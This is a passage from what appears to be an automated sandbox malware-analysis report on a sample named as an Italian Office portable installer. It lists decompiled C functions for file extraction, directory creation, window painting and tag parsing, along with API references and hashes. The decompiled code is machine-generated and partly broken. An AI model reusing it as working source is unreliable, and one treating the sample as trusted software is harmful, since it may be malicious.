													 *(_t251 + 0x18) = _t166;
												}
											}
										}
										_t159 =  *_t229;
										__eflags =  *((intOrPtr*)(_t159 + 0x10)) - _t188;
									} while ( *((intOrPtr*)(_t159 + 0x10)) < _t188);
								}
								E000C7270(_t229, _t219, _t188,  &_v856);
								__eflags = _v592 & 0x00000010;
								_t112 =  *_t177;
								if((_v592 & 0x00000010) == 0) {
									_t241 = _t177;
									_v860 = _t177;
									_t190 = _t177;
									__eflags = _t112;
									if(_t112 != 0) {
										do {
											__eflags = _t112 - 0x2f;
											if(_t112 == 0x2f) {
												L40:
												_t46 = _t190 + 1; // 0xc29ea
												_t241 = _t46;
											} else {
												__eflags = _t112 - 0x5c;
												if(_t112 == 0x5c) {
													goto L40;
												}
											}
											_t47 = _t190 + 1; // 0xf1b24
											_t112 =  *_t47;
											_t190 =  &(_t190->Internal);
											__eflags = _t112;
										} while (_t112 != 0);
										_v860 = _t241;
									}
									E000CD14B( &_v280, 0x104, _t177);
									_t259 = _t258 + 0xc;
									__eflags = _t241 - _t177;
									if(_t241 != _t177) {
										_t116 = _t241 - _t177;
										__eflags = _t116 - 0x104;
										if(__eflags >= 0) {
											E000CD453();
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t254);
											_push(0xffffffff);
											_push(E000E37EB);
											_push( *[fs:0x0]);
											_push(_t241);
											_push(_t229);
											_t119 =  *0xef6ac; // 0xcff43140
											_push(_t119 ^ _t259);
											 *[fs:0x0] =  &_v1432;
											_t230 = _t190;
											_push(0x244);
											_t242 = E000CCE6F(_t177, _t190, __eflags);
											__eflags = _t242;
											if(_t242 == 0) {
												_t242 = 0;
												__eflags = 0;
											} else {
												 *_t242 = 0;
												 *(_t242 + 4) = 0xffffffff;
												 *(_t242 + 0x134) = 0xffffffff;
												 *(_t242 + 0x138) = 0;
												 *(_t242 + 0x13c) = 0;
											}
											_t191 = _t242;
											_v16 = 0xffffffff;
											_t123 = E000C71C0(_t242, _t230); // executed
											 *0xf1b24 = _t123;
											__eflags = _t123;
											if(__eflags == 0) {
												_push(8);
												_t124 = E000CCE6F(_t177, _t230, __eflags);
												 *_t124 = 1;
												 *(_t124 + 4) = _t242;
												 *[fs:0x0] = _v24;
												return _t124;
											} else {
												__eflags = _t242;
												if(_t242 != 0) {
													E000C7E80(_t242, _t191);
												}
												__eflags = 0;
												 *[fs:0x0] = _v24;
												return 0;
											}
										} else {
											 *((char*)(_t254 + _t116 - 0x110)) = 0;
											_t127 = _v280;
											__eflags = _t127 - 0x2f;
											if(_t127 == 0x2f) {
												L51:
												wsprintfA( &_v544, "%s%s",  &_v280, _t241);
												_t264 = _t259 + 0x10;
												_t197 = 0;
												__eflags = 0;
											} else {
												__eflags = _t127 - 0x5c;
												if(_t127 == 0x5c) {
													goto L51;
												} else {
													__eflags = _t127;
													if(_t127 == 0) {
														goto L50;
													} else {
														__eflags = _v279 - 0x3a;
														if(_v279 == 0x3a) {
															goto L51;
														} else {
															goto L50;
														}
													}
												}
											}
											goto L52;
										}
									} else {
										_v280 = 0;
										L50:
										_t248 =  &(_t229[0x50]);
										wsprintfA( &_v544, "%s%s%s", _t248,  &_v280, _v860);
										_t264 = _t259 + 0x14;
										_t197 = _t248;
										L52:
										E000C7980(_t177, _t197,  &_v280); // executed
										_t133 = CreateFileA( &_v544, 0x40000000, 0, 0, 2, _v592, 0); // executed
										_t178 = _t133;
										__eflags = _t178 - 0xffffffff;
										if(_t178 != 0xffffffff) {
											E000C6D50( *_t229, _t229[0x4e]); // executed
											__eflags = _t229[0x4f];
											if(__eflags == 0) {
												_push(0x4000);
												_t147 = E000CCE6F(_t178, _t229, __eflags);
												_t264 = _t264 + 4;
												_t229[0x4f] = _t147;
											}
											_v860 = 0;
											while(1) {
												_t222 = _t229[0x4f];
												_t136 = E000C6ED0( *_t229, _t229[0x4f], 0x4000,  &_v861); // executed
												_t245 = _t136;
												_t264 = _t264 + 8;
												__eflags = _t245 - 0xffffff96;
												if(_t245 == 0xffffff96) {
													break;
												}
												__eflags = _t245;
												if(__eflags < 0) {
													L63:
													_v860 = 0x5000000;
												} else {
													if(__eflags <= 0) {
														L61:
														__eflags = _v861;
														if(_v861 != 0) {
															SetFileTime(_t178,  &_v580,  &_v588,  &_v572); // executed
														} else {
															__eflags = _t245;
															if(_t245 != 0) {
																continue;
															} else {
																goto L63;
															}
														}
													} else {
														_t146 = WriteFile(_t178, _t229[0x4f], _t245,  &_v548, 0); // executed
														__eflags = _t146;
														if(_t146 == 0) {
															_v860 = 0x400;
														} else {
															goto L61;
														}
													}
												}
												L67:
												CloseHandle(_t178);
												E000C7140( *_t229, _t222);
												_pop(_t233);
												_pop(_t246);
												__eflags = _v12 ^ _t254;
												_pop(_t179);
												return E000CC7C7(_t179, _v12 ^ _t254, _t222, _t233, _t246);
												goto L77;
											}
											_v860 = 0x1000;
											goto L67;
										} else {
											_pop(_t234);
											_pop(_t247);
											_pop(_t180);
											__eflags = _v12 ^ _t254;
											return E000CC7C7(_t180, _v12 ^ _t254,  &_v280, _t234, _t247);
										}
									}
								} else {
									__eflags = _t112 - 0x2f;
									if(_t112 == 0x2f) {
										L36:
										E000C7980(_t177, 0, _t177);
										_pop(_t235);
										_pop(_t249);
										_pop(_t181);
										__eflags = _v12 ^ _t254;
										return E000CC7C7(_t181, _v12 ^ _t254, _t177, _t235, _t249);
									} else {
										__eflags = _t112 - 0x5c;
										if(_t112 == 0x5c) {
											goto L36;
										} else {
											__eflags = _t112;
											if(_t112 == 0) {
												L35:
												E000C7980(_t177,  &(_t229[0x50]), _t177);
												_pop(_t236);
												_pop(_t250);
												_pop(_t182);
												__eflags = _v12 ^ _t254;
												return E000CC7C7(_t182, _v12 ^ _t254, _t177, _t236, _t250);
											} else {
												__eflags = _t177->Internal - 0x3a;
												if(_t177->Internal == 0x3a) {
													goto L36;
												} else {
													goto L35;
												}
											}
										}
									}
								}
							} else {
								_pop(_t237);
								_pop(_t252);
								_pop(_t183);
								__eflags = _v12 ^ _t254;
								return E000CC7C7(_t183, _v12 ^ _t254, _t219, _t237, _t252);
							}
						} else {
							_t219 =  &_v528;
							 *((char*)(_t253 + _t240 - 0x20c)) = 0;
							E000C7980(_t175, _t227,  &_v528);
							goto L12;
						}
					}
				}
				L77:
			}

0x000c7980
0x000c7989
0x000c7990
0x000c7993
0x000c7995
0x000c7997
0x000c799b
0x000c799e
0x000c79a7
0x000c79ac
0x000c79ac
0x000c79a7
0x000c79b2
0x000c79b6
0x000c7a5e
0x000c7a61
0x000c7a64
0x000c7a6d
0x000c79bc
0x000c79bc
0x000c79bd
0x000c79bf
0x000c79c1
0x000c79c3
0x000c79c9
0x000c79c9
0x000c79cb
0x000c79ce
0x000c79cf
0x000c79d5
0x000c7a07
0x000c7a07
0x000c7a0e
0x000c7a11
0x000c7a20
0x000c7a25
0x000c7a25
0x000c7a35
0x000c7a4d
0x000c7a58
0x000c7a58
0x00000000
0x000c79d7
0x000c79d7
0x000c79e2
0x000c79e7
0x000c79f0
0x000c7a6e
0x000c7a73
0x000c7a74
0x000c7a75
0x000c7a76
0x000c7a77
0x000c7a78
0x000c7a79
0x000c7a7a
0x000c7a7b
0x000c7a7c
0x000c7a7d
0x000c7a7e
0x000c7a7f
0x000c7a80
0x000c7a81
0x000c7a83
0x000c7a89
0x000c7a90
0x000c7a93
0x000c7a94
0x000c7a97
0x000c7a98
0x000c7a99
0x000c7a9b
0x000c7a9f
0x000c7aa3
0x000c7aa3
0x000c7aa8
0x000c7aaa
0x000c7aad
0x000c7ab4
0x000c7ab7
0x000c7ad1
0x000c7ad4
0x000c7ad8
0x000c7add
0x000c7add
0x000c7ae0
0x000c7ae2
0x000c7ae5
0x000c7ae7
0x000c7ae7
0x000c7ae9
0x000c7aeb
0x000c7aed
0x000c7af1
0x000c7af6
0x000c7af7
0x000c7afa
0x000c7b0d
0x000c7b12
0x000c7b15
0x000c7b1b
0x000c7b1b
0x000c7b20
0x000c7b25
0x000c7b28
0x000c7b2d
0x000c7b2f
0x000c7b2f
0x000c7b30
0x000c7b30
0x000c7afa
0x000c7af1
0x000c7b33
0x000c7b35
0x000c7b35
0x000c7ae7
0x000c7b44
0x000c7b49
0x000c7b50
0x000c7b52
0x000c7ba6
0x000c7ba8
0x000c7bae
0x000c7bb0
0x000c7bb2
0x000c7bb4
0x000c7bb4
0x000c7bb6
0x000c7bbc
0x000c7bbc
0x000c7bbc
0x000c7bb8
0x000c7bb8
0x000c7bba
0x00000000
0x00000000
0x000c7bba
0x000c7bbf
0x000c7bbf
0x000c7bc2
0x000c7bc3
0x000c7bc3
0x000c7bc7
0x000c7bc7
0x000c7bda
0x000c7bdf
0x000c7be2
0x000c7be4
0x000c7bf1
0x000c7bf3
0x000c7bf8
0x000c7da8
0x000c7dad
0x000c7dae
0x000c7daf
0x000c7db0
0x000c7db3
0x000c7db5
0x000c7dc0
0x000c7dc4
0x000c7dc5
0x000c7dc6
0x000c7dcd
0x000c7dd1
0x000c7dd7
0x000c7dd9
0x000c7de6
0x000c7de8
0x000c7dea
0x000c7e19
0x000c7e19
0x000c7dec
0x000c7dec
0x000c7df2
0x000c7df9
0x000c7e03
0x000c7e0d
0x000c7e0d
0x000c7e1e
0x000c7e21
0x000c7e28
0x000c7e2d
0x000c7e32
0x000c7e34
0x000c7e55
0x000c7e57
0x000c7e5f
0x000c7e65
0x000c7e6b
0x000c7e78
0x000c7e36
0x000c7e36
0x000c7e38
0x000c7e3d
0x000c7e3d
0x000c7e42
0x000c7e47
0x000c7e54
0x000c7e54
0x000c7bfe
0x000c7bfe
0x000c7c06
0x000c7c0c
0x000c7c0e
0x000c7c4e
0x000c7c62
0x000c7c68
0x000c7c6b
0x000c7c6b
0x000c7c10
0x000c7c10
0x000c7c12
0x00000000
0x000c7c14
0x000c7c14
0x000c7c16
0x00000000
0x000c7c18
0x000c7c18
0x000c7c1f
0x00000000
0x00000000
0x00000000
0x00000000
0x000c7c1f
0x000c7c16
0x000c7c12
0x00000000
0x000c7c0e
0x000c7be6
0x000c7be6
0x000c7c21
0x000c7c2e
0x000c7c41
0x000c7c47
0x000c7c4a
0x000c7c6d
0x000c7c73
0x000c7c92
0x000c7c98
0x000c7c9a
0x000c7c9d
0x000c7cbf
0x000c7cc4
0x000c7ccb
0x000c7ccd
0x000c7cd2
0x000c7cd7
0x000c7cda
0x000c7cda
0x000c7ce0
0x000c7cf0
0x000c7cf0
0x000c7d04
0x000c7d09
0x000c7d0b
0x000c7d0e
0x000c7d11
0x00000000
0x00000000
0x000c7d13
0x000c7d15
0x000c7d41
0x000c7d41
0x000c7d17
0x000c7d17
0x000c7d34
0x000c7d34
0x000c7d3b
0x000c7d6f
0x000c7d3d
0x000c7d3d
0x000c7d3f
0x00000000
0x00000000
0x00000000
0x00000000
0x000c7d3f
0x000c7d19
0x000c7d2a
0x000c7d30
0x000c7d32
0x000c7d4d
0x00000000
0x00000000
0x00000000
0x000c7d32
0x000c7d17
0x000c7d81
0x000c7d82
0x000c7d8a
0x000c7d98
0x000c7d99
0x000c7d9a
0x000c7d9c
0x000c7da5
0x00000000
0x000c7da5
0x000c7d77
0x00000000
0x000c7c9f
0x000c7ca4
0x000c7ca5
0x000c7ca6
0x000c7caa
0x000c7cb4
0x000c7cb4
0x000c7c9d
0x000c7b54
0x000c7b54
0x000c7b56
0x000c7b88
0x000c7b8c
0x000c7b93
0x000c7b94
0x000c7b95
0x000c7b99
0x000c7ba3
0x000c7b58
0x000c7b58
0x000c7b5a
0x00000000
0x000c7b5c
0x000c7b5c
0x000c7b5e
0x000c7b66
0x000c7b6e
0x000c7b75
0x000c7b76
0x000c7b77
0x000c7b7b
0x000c7b85
0x000c7b60
0x000c7b60
0x000c7b64
0x00000000
0x00000000
0x00000000
0x00000000
0x000c7b64
0x000c7b5e
0x000c7b5a
0x000c7b56
0x000c7ab9
0x000c7abe
0x000c7abf
0x000c7ac0
0x000c7ac4
0x000c7ace
0x000c7ace
0x000c79f2
0x000c79f2
0x000c79fa
0x000c7a02
0x00000000
0x000c7a02
0x000c79f0
0x000c79d5
0x00000000

APIs

GetFileAttributesA.KERNELBASE(00000000,?,000C29E9), ref: 000C799E
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 000C79AC
_memmove.LIBCMT ref: 000C79E2
GetFileAttributesA.KERNEL32(00000000,?,?,000C29E9), ref: 000C7A44
CreateDirectoryA.KERNEL32(00000000,00000000,?,?,000C29E9), ref: 000C7A58

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: AttributesCreateDirectoryFile$_memmove
String ID:
API String ID: 2273448321-0
Opcode ID: 003964d9badf81399c6423bdda9ef4ff4d2b43f5cbe8ab4add97e7522c95fb03
Instruction ID: 5bc4d3f5bff84f81dc0732cf386c135d1c54fd52b69d7ae539bd885d74a1bd8e
Opcode Fuzzy Hash: 003964d9badf81399c6423bdda9ef4ff4d2b43f5cbe8ab4add97e7522c95fb03
Instruction Fuzzy Hash: A2314A759082085BCB20DB28EC84FEDB7E8DB45720F1042ADF95D972C2DB745E858F51

Uniqueness

Uniqueness Score: -1.00%

Function 000C89F0, Relevance: 7.6, APIs: 5, Instructions: 75
threadCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E000C89F0(void* __ecx, void* __edx, int _a4, int _a8, long _a12) {
				signed int _v8;
				signed int _v56;
				struct tagPAINTSTRUCT _v76;
				struct tagPAINTSTRUCT _v124;
				void* __esi;
				signed int _t26;
				void* _t29;
				struct HDC__* _t35;
				void* _t43;
				int _t45;
				void* _t55;
				void* _t58;
				void* _t60;
				void* _t61;
				void* _t62;
				void* _t63;
				signed int _t64;

				_t55 = __edx;
				_t66 = (_t64 & 0xfffffff8) - 0x4c;
				_t26 =  *0xef6ac; // 0xcff43140
				_v8 = _t26 ^ (_t64 & 0xfffffff8) - 0x0000004c;
				_t60 = __ecx;
				_t45 = _a4;
				_t29 = _t45 - 2;
				if(_t29 == 0) {
					if( *((intOrPtr*)(__ecx + 0x1c)) != 0) {
						TerminateThread( *(__ecx + 4), 0);
						 *(_t60 + 0x1c) = 0;
					}
					_pop(_t61);
					return E000CC7C7(_t43, _v8 ^ _t66, _t55, _t58, _t61);
				} else {
					if(_t29 == 0xd) {
						_t35 = BeginPaint( *(__ecx + 0xc),  &_v76);
						SetDIBitsToDevice(_t35,  *( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t60 + 0x10)) + 0xc)) +  *(_t60 + 0x14) * 4)) + 0x1c),  *( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t60 + 0x10)) + 0xc)) +  *(_t60 + 0x14) * 4)) + 0x20),  *_t57, _t57[1], 0, 0, 0, _t57[1], _t57[3], _t57[0xb], 0);
						EndPaint( *(_t60 + 0xc),  &_v124);
						_pop(_t62);
						return E000CC7C7(_t43, _v56 ^ _t66, _t57, _t58, _t62);
					} else {
						DefWindowProcA( *(__ecx + 0xc), _t45, _a8, _a12); // executed
						_pop(_t63);
						return E000CC7C7(_t43, _v8 ^ _t66, _t55, _t58, _t63);
					}
				}
			}

0x000c89f0
0x000c89f6
0x000c89f9
0x000c8a00
0x000c8a05
0x000c8a07
0x000c8a0c
0x000c8a0f
0x000c8a9e
0x000c8aa5
0x000c8aab
0x000c8aab
0x000c8ab6
0x000c8ac3
0x000c8a15
0x000c8a18
0x000c8a44
0x000c8a72
0x000c8a80
0x000c8a88
0x000c8a97
0x000c8a1a
0x000c8a24
0x000c8a2a
0x000c8a39
0x000c8a39
0x000c8a18

APIs

DefWindowProcA.USER32(?,?,?,?), ref: 000C8A24
BeginPaint.USER32(?,?), ref: 000C8A44
SetDIBitsToDevice.GDI32(00000000,?,?,?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 000C8A72
EndPaint.USER32(?,?), ref: 000C8A80
TerminateThread.KERNEL32(?,00000000), ref: 000C8AA5

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: Paint$BeginBitsDeviceProcTerminateThreadWindow
String ID:
API String ID: 819180206-0
Opcode ID: ee3e9e4b4537b4a8062f43d2323627ec67bf51ff864ec8828c13ab62b070f982
Instruction ID: ec4df4c35cabbd7dedf3da4c329684662b6f896dbdeda1def754840e13e4a827
Opcode Fuzzy Hash: ee3e9e4b4537b4a8062f43d2323627ec67bf51ff864ec8828c13ab62b070f982
Instruction Fuzzy Hash: C621B071204205EFEB249F64DC46F6ABBF5FB48710F008A5EF9468A5A1DB32E850CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000C8760, Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32 ref: 000C8779
GetWindowLongA.USER32 ref: 000C8787
KiUserCallbackDispatcher.NTDLL(?,?,?), ref: 000C879A
DefWindowProcA.USER32(?,?,?,?), ref: 000C87A4

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: Window$Long$CallbackDispatcherProcUser
String ID:
API String ID: 997580984-0
Opcode ID: ac99206566c2bdc498b87f3b2695c3ed7490466848543aa0a8050c11e60d9e60
Instruction ID: 10875f7adc6dcd019bb8a651d99cd6bd305c7919b09f5da6a23d05a165cccb0d
Opcode Fuzzy Hash: ac99206566c2bdc498b87f3b2695c3ed7490466848543aa0a8050c11e60d9e60
Instruction Fuzzy Hash: BCF09036205115AF8B009F89EC88C8FBB6CFF8A2317108216F611A71A0D77598619BA0

Uniqueness

Uniqueness Score: -1.00%

Function 000C2190, Relevance: 4.7, APIs: 3, Instructions: 227
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E000C2190(CHAR* __ecx, intOrPtr __edx, void* __eflags, signed int _a4, intOrPtr _a8, char _a12, intOrPtr _a32) {
				struct _OVERLAPPED* _v8;
				char _v16;
				signed int _v20;
				intOrPtr _v24;
				struct _OVERLAPPED* _v28;
				char _v44;
				intOrPtr _v48;
				struct _OVERLAPPED* _v52;
				char _v68;
				intOrPtr _v72;
				long _v76;
				char _v92;
				long _v96;
				struct _OVERLAPPED* _v100;
				struct _OVERLAPPED* _v104;
				intOrPtr _v108;
				CHAR* _v112;
				intOrPtr _v116;
				struct _OVERLAPPED* _v120;
				char _v136;
				intOrPtr _v140;
				struct _OVERLAPPED* _v144;
				char _v160;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t94;
				signed int _t95;
				void* _t98;
				struct _OVERLAPPED* _t100;
				signed int _t107;
				void* _t121;
				char* _t126;
				void* _t129;
				struct _OVERLAPPED* _t133;
				struct _OVERLAPPED* _t134;
				void* _t135;
				intOrPtr _t144;
				void* _t145;
				struct _OVERLAPPED* _t163;
				void* _t166;
				intOrPtr _t168;
				signed char* _t169;
				signed char* _t171;
				void* _t172;
				void* _t173;
				signed int _t175;
				void* _t176;
				struct _OVERLAPPED* _t177;
				signed int _t178;
				void* _t179;
				void* _t181;
				void* _t182;

				_push(0xffffffff);
				_push(E000E378E);
				_push( *[fs:0x0]);
				_t94 =  *0xef6ac; // 0xcff43140
				_t95 = _t94 ^ _t178;
				_v20 = _t95;
				_push(_t95);
				 *[fs:0x0] =  &_v16;
				_t168 = __edx;
				_v108 = __edx;
				_v112 = __ecx;
				_t175 = _a4;
				_v8 = 0;
				_t133 = 0;
				_t98 = E000C3740( &_v136, "<",  &_a12);
				_v8 = 1;
				E000C3830( &_v44, _t98, ">");
				_t181 = _t179 - 0x94 + 8;
				_v8 = 3;
				if(_v116 >= 0x10) {
					L000CC7D6(_v136);
					_t181 = _t181 + 4;
				}
				_t100 = _v28;
				_t163 = _a8 - _t100;
				_v116 = 0xf;
				_v120 = 0;
				_v136 = 0;
				_v104 = _t163;
				_t169 = _t168 + _t175;
				while(_t175 < _t163) {
					_t126 = E000C2EF0( &_v44, 0);
					_t100 = _v28;
					if(( *_t169 & 0x000000ff) ==  *_t126) {
						_t166 = 0;
						_t133 = 1;
						if(_t100 > 0) {
							_t177 = _t100;
							do {
								_t129 =  >=  ? _v44 :  &_v44;
								_v100 = 0;
								_t133 =  !=  ? _v100 : 1;
								_t166 = _t166 + 1;
							} while (_t166 < _t177);
							_t175 = _a4;
							_t100 = _v28;
						}
					}
					_t163 = _v104;
					_t175 = _t175 + 1;
					_t169 =  &(_t169[1]);
					_a4 = _t175;
					if(_t133 == 0) {
						continue;
					}
					break;
				}
				_v100 = 0;
				if(_t133 != 0) {
					_v100 = _t100 - 1 + _t175;
				}
				_t134 = 0;
				_t165 = E000C3740( &_v160, "</",  &_a12);
				_v8 = 4;
				E000C3830( &_v68, _t102, ">");
				_t182 = _t181 + 8;
				_v8 = 6;
				if(_v140 >= 0x10) {
					L000CC7D6(_v160);
					_t182 = _t182 + 4;
				}
				_t144 = _a8 - _v52;
				_v140 = 0xf;
				_v144 = 0;
				_v160 = 0;
				_a8 = _t144;
				_t171 = _v108 + _t175;
				while(_t175 < _t144) {
					if(( *_t171 & 0x000000ff) ==  *((char*)(E000C2EF0( &_v68, 0)))) {
						_t165 = 0;
						_t134 = 1;
						if(_v52 > 0) {
							do {
								_t121 =  >=  ? _v68 :  &_v68;
								_v104 = 0;
								_t134 =  !=  ? _v104 : 1;
								_t165 = _t165 + 1;
							} while (_t165 < _v52);
						}
					}
					_t144 = _a8;
					_t175 = _t175 + 1;
					_t171 =  &(_t171[1]);
					if(_t134 == 0) {
						continue;
					}
					break;
				}
				_t145 = 0;
				if(_t134 != 0) {
					_t145 = _t175 - 1;
				}
				_v72 = 0xf;
				_v76 = 0;
				_v92 = 0;
				E000C3040( &_v92, _v108 + _v100, _t145 - _v100); // executed
				_t107 = CreateFileA(_v112, 0x40000000, 0, 0, 2, 0, 0); // executed
				_t172 = _t107;
				if(_t172 != 0xffffffff) {
					_t109 =  >=  ? _v92 :  &_v92;
					WriteFile(_t172,  >=  ? _v92 :  &_v92, _v76,  &_v96, 0); // executed
					FindCloseChangeNotification(_t172); // executed
				} else {
					_t175 = _t175 | _t107;
				}
				if(_v72 >= 0x10) {
					L000CC7D6(_v92); // executed
					_t182 = _t182 + 4;
				}
				_v72 = 0xf;
				_v76 = 0;
				_v92 = 0;
				if(_v48 >= 0x10) {
					L000CC7D6(_v68);
					_t182 = _t182 + 4;
				}
				_v48 = 0xf;
				_v52 = 0;
				_v68 = 0;
				if(_v24 >= 0x10) {
					L000CC7D6(_v44);
					_t182 = _t182 + 4;
				}
				_v24 = 0xf;
				_v28 = 0;
				_v44 = 0;
				if(_a32 >= 0x10) {
					L000CC7D6(_a12);
				}
				 *[fs:0x0] = _v16;
				_pop(_t173);
				_pop(_t176);
				_pop(_t135);
				return E000CC7C7(_t135, _v20 ^ _t178, _t165, _t173, _t176);
			}

0x000c2193
0x000c2195
0x000c21a0
0x000c21a7
0x000c21ac
0x000c21ae
0x000c21b4
0x000c21b8
0x000c21be
0x000c21c0
0x000c21c3
0x000c21c6
0x000c21d8
0x000c21df
0x000c21e1
0x000c21f0
0x000c21f4
0x000c21f9
0x000c21fc
0x000c2204
0x000c220c
0x000c2211
0x000c2211
0x000c2217
0x000c221a
0x000c221c
0x000c2223
0x000c222a
0x000c2231
0x000c2234
0x000c2236
0x000c223f
0x000c224c
0x000c224f
0x000c2251
0x000c2253
0x000c2257
0x000c2259
0x000c2260
0x000c226b
0x000c2278
0x000c227f
0x000c2283
0x000c2284
0x000c2288
0x000c228b
0x000c228b
0x000c2257
0x000c228e
0x000c2291
0x000c2292
0x000c2293
0x000c2298
0x00000000
0x00000000
0x00000000
0x000c2298
0x000c229a
0x000c22a3
0x000c22a8
0x000c22a8
0x000c22ba
0x000c22c6
0x000c22cb
0x000c22cf
0x000c22d4
0x000c22d7
0x000c22e2
0x000c22ea
0x000c22ef
0x000c22ef
0x000c22f5
0x000c22fb
0x000c2305
0x000c230f
0x000c2316
0x000c2319
0x000c2320
0x000c2336
0x000c2338
0x000c233a
0x000c233f
0x000c2341
0x000c234c
0x000c2359
0x000c2360
0x000c2364
0x000c2365
0x000c2341
0x000c233f
0x000c236a
0x000c236d
0x000c236e
0x000c2371
0x00000000
0x00000000
0x00000000
0x000c2371
0x000c2373
0x000c2377
0x000c2379
0x000c2379
0x000c238a
0x000c2391
0x000c2398
0x000c239c
0x000c23b3
0x000c23b9
0x000c23be
0x000c23d4
0x000c23da
0x000c23e1
0x000c23c0
0x000c23c0
0x000c23c0
0x000c23eb
0x000c23f0
0x000c23f5
0x000c23f5
0x000c23fc
0x000c2403
0x000c240a
0x000c240e
0x000c2413
0x000c2418
0x000c2418
0x000c241f
0x000c2426
0x000c242d
0x000c2431
0x000c2436
0x000c243b
0x000c243b
0x000c2442
0x000c2449
0x000c2450
0x000c2454
0x000c2459
0x000c245e
0x000c2466
0x000c246e
0x000c246f
0x000c2470
0x000c247e

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: fac4e08ef2e538aac3c5c4696606fea6a6d7e82f3ab99f18da3897cf9b213499
Instruction ID: e6125d31506edd201a181617952deafd079095284033e0adf924ea715aa5ad36
Opcode Fuzzy Hash: fac4e08ef2e538aac3c5c4696606fea6a6d7e82f3ab99f18da3897cf9b213499
Instruction Fuzzy Hash: 48917871D00299DFEF14CBA8C885BEEBBB1BF05310F14416DE40ABB682DB795A45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 000C6450, Relevance: 4.7, APIs: 3, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000C6450(char* __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v32;
				char _v120;
				char _v124;
				intOrPtr _v128;
				intOrPtr _v144;
				LONG* _v148;
				intOrPtr _v152;
				void _v156;
				void* __ebx;
				void* __edi;
				intOrPtr _t63;
				char _t65;
				char _t66;
				char _t67;
				void* _t71;
				void* _t72;
				char _t74;
				signed int _t93;
				signed int _t94;
				intOrPtr _t95;
				signed int _t97;
				intOrPtr _t98;
				void* _t99;
				signed int _t105;
				intOrPtr _t107;
				char _t116;
				intOrPtr _t140;
				void _t149;
				signed int _t154;
				void* _t155;
				void* _t156;
				intOrPtr _t158;

				_t149 = __ecx;
				if(__ecx == 0) {
					L36:
					__eflags = 0;
					return 0;
				} else {
					_t63 = E000C6280(__ecx, __edx); // executed
					_t94 = _t93 | 0xffffffff;
					_t107 = _t63;
					_t154 =  ==  ? _t94 : 0;
					_v24 = _t107;
					if( *__ecx == 0) {
						 *((intOrPtr*)(__ecx + 0x1c)) = _t107;
					} else {
						_t167 =  *((char*)(__ecx + 1));
						if( *((char*)(__ecx + 1)) == 0) {
							_t154 = _t154 | 0xffffffff;
						} else {
							SetFilePointer( *(__ecx + 4),  *((intOrPtr*)(__ecx + 0xc)) + _t107, 0, 0); // executed
						}
					}
					E000C61E0(_t149,  &_v16, _t167); // executed
					_t155 =  !=  ? _t94 : _t154;
					_t65 = E000C6130(_t149,  &_v8);
					_v12 = _v8;
					if(_t65 != 0) {
						L9:
						__eflags = _t65;
						_v12 = 0;
						_t155 =  !=  ? _t94 : _t155;
					} else {
						_t65 = E000C6130(_t149,  &_v8);
						if(_t65 != 0) {
							goto L9;
						} else {
							_t105 = _v8 << 8;
							_v12 = _v12 + _t105;
							_t94 = _t105 | 0xffffffff;
						}
					}
					_t66 = E000C6130(_t149,  &_v8);
					_v20 = _v8;
					if(_t66 != 0) {
						L13:
						__eflags = _t66;
						_v20 = 0;
						_t155 =  !=  ? _t94 : _t155;
					} else {
						_t66 = E000C6130(_t149,  &_v8);
						if(_t66 != 0) {
							goto L13;
						} else {
							_v20 = _v20 + (_v8 << 8);
						}
					}
					_t67 = E000C6130(_t149,  &_v8);
